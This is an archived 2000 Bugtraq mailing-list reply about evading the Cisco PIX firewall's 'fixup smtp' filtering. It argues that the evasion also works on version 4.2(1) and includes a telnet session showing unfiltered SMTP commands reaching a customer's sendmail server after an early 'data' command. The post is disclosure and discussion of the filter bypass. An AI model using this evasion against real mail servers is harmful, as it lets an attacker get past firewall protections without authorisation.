OSEC

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Subject: Re: Cisco PIX Firewall (smtp content filtering hack) - Version 4.2(1) not exploitable
From: Fabio Pietrosanti (naif) (naifINET.IT)
Date: Wed Sep 20 2000 - 03:34:44 CDT

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Work also on 4.2(1),
It's normal that you'll receive an error like this, but after you can
inject any command you wish without having them filtered.

This is a session on a customer's 4.2(1) pix .

Trying...
Connected to xxx.xxx.xxx.xxx.
Escape character is '^]'.
220 SMTP/cmap
ready_______________________________________________________________
help
500 Command unrecognized: "XXXX"
data
503 Need MAIL command
help
214-This is Sendmail version 8.9.3
214-Topics:
214- HELO EHLO MAIL RCPT DATA
214- RSET NOOP QUIT HELP VRFY
214- EXPN VERB ETRN DSN
214-For more info use "HELP <topic>".
214-To report bugs in the implementation send email to
214- sendmail-bugssendmail.org.
214-For local information send email to Postmaster at your site.
214 End of HELP info
quit
221 to.protect.customer.it closing connection
Connection closed.

e-mail: naifinet.it ( Direzione Tecnica, Gruppo Firewall )
PGP Key (DSS) http://naif.itapac.net/naif.asc
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On Wed, 20 Sep 2000, Leandro Dardini wrote:

> I test my (old) pix box running 4.2(1) and it is not exploitable.
> When I try to not complete my smtp session, issuing a "data" command before
> rcpt, I receive a
> 503 Need RCPT (recipient)
> message.
> I test other permutation of helo, mail, rcpt, data command but all fails.
>
> Leandro
>
> ----- Original Message -----
> From: naif <naifINET.IT>
> To: <BUGTRAQSECURITYFOCUS.COM>
> Sent: Tuesday, September 19, 2000 6:27 PM
> Subject: Cisco PIX Firewall (smtp content filtering hack)
>
>
> > -----BEGIN PGP SIGNED MESSAGE-----
> > Hash: SHA1
> >
> > How to escape "fixup smtp" of Cisco Pix Firewall:
> >
> > The Cisco Pix Firewall normally restrict some protocol
> command(http,ftp,smtp) and manage
> > multisession protocol(h323, ftp,sqlnet) .
> > I made some test on a BSDI3.0 running sendmail9 placed in the dmz .
> > The Pix version it's the latest, 5.2(1)... here the output of "show ver"
> > =====================================================
> > Cisco Secure PIX Firewall Version 5.2(1)
> >
>
>
>
>
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